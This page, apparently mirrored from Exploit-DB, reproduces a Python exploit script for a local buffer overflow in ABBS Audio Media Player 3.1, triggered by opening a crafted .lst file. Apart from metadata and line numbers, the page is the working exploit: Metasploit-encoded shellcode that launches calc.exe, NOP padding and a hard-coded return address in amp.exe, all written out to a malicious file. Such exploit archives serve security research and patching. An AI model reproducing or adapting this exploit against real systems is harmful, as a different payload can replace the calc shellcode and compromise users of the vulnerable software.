ABBS Audio Media Player 3.1 – ‘.lst’ Local Buffer Overflow - 体验盒子

作者： Julien Ahrens

日期： 2013-05-04

类别：

local

平台：

windows

来源：https://www.exploit-db.com/exploits/25204/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

#!/usr/bin/python

# Exploit Title: ABBS Audio Media Player v3.1 (.lst) Buffer Overflow

# Version: v3.1

# Date:2013-05-04

# Author:Julien Ahrens (@MrTuxracer)

# Homepage:http://www.inshell.net

# Software Link: http://abbs.qsnx.net/

# Tested on: Windows XP SP3 DE

#Windows 7 SP1 64Bit DE

#Windows 8 32/64Bit DE/EN

# Notes: This exploit is for the current version and WinALL.

# Howto: Open .lst

from struct import pack

file="exploit.lst"

# windows/exec CMD=calc.exe

# Encoder: x86/shikata_ga_nai

# powered by Metasploit

# msfpayload windows/exec CMD=calc.exe R | msfencode -b '\x00\x0a\x0d'

shellcode = ("\xda\xca\xbb\xfd\x11\xa3\xae\xd9\x74\x24\xf4\x5a\x31\xc9" +

"\xb1\x33\x31\x5a\x17\x83\xc2\x04\x03\xa7\x02\x41\x5b\xab" +

"\xcd\x0c\xa4\x53\x0e\x6f\x2c\xb6\x3f\xbd\x4a\xb3\x12\x71" +

"\x18\x91\x9e\xfa\x4c\x01\x14\x8e\x58\x26\x9d\x25\xbf\x09" +

"\x1e\x88\x7f\xc5\xdc\x8a\x03\x17\x31\x6d\x3d\xd8\x44\x6c" +

"\x7a\x04\xa6\x3c\xd3\x43\x15\xd1\x50\x11\xa6\xd0\xb6\x1e" +

"\x96\xaa\xb3\xe0\x63\x01\xbd\x30\xdb\x1e\xf5\xa8\x57\x78" +

"\x26\xc9\xb4\x9a\x1a\x80\xb1\x69\xe8\x13\x10\xa0\x11\x22" +

"\x5c\x6f\x2c\x8b\x51\x71\x68\x2b\x8a\x04\x82\x48\x37\x1f" +

"\x51\x33\xe3\xaa\x44\x93\x60\x0c\xad\x22\xa4\xcb\x26\x28" +

"\x01\x9f\x61\x2c\x94\x4c\x1a\x48\x1d\x73\xcd\xd9\x65\x50" +

"\xc9\x82\x3e\xf9\x48\x6e\x90\x06\x8a\xd6\x4d\xa3\xc0\xf4" +

"\x9a\xd5\x8a\x92\x5d\x57\xb1\xdb\x5e\x67\xba\x4b\x37\x56" +

"\x31\x04\x40\x67\x90\x61\xbe\x2d\xb9\xc3\x57\xe8\x2b\x56" +

"\x3a\x0b\x86\x94\x43\x88\x23\x64\xb0\x90\x41\x61\xfc\x16" +

"\xb9\x1b\x6d\xf3\xbd\x88\x8e\xd6\xdd\x4f\x1d\xba\x0f\xea" +

"\xa5\x59\x50")

junk1="\x90" * (4108 - len(shellcode))

eip=pack('<L',0x00412c91) # ADD ESP,14 # POP EDI # POP ESI # POP EBX # RETN** [amp.exe] **

junk2="\x90" * 4

evil="\x00" * 4 # Terminat0r

poc=junk1 + shellcode + eip + junk2 + evil

try:

print "[*] Creating exploit file...\n";

writeFile = open (file, "w")

writeFile.write( poc )

writeFile.close()

print "[*] File successfully created!";

except:

print "[!] Error while creating file!";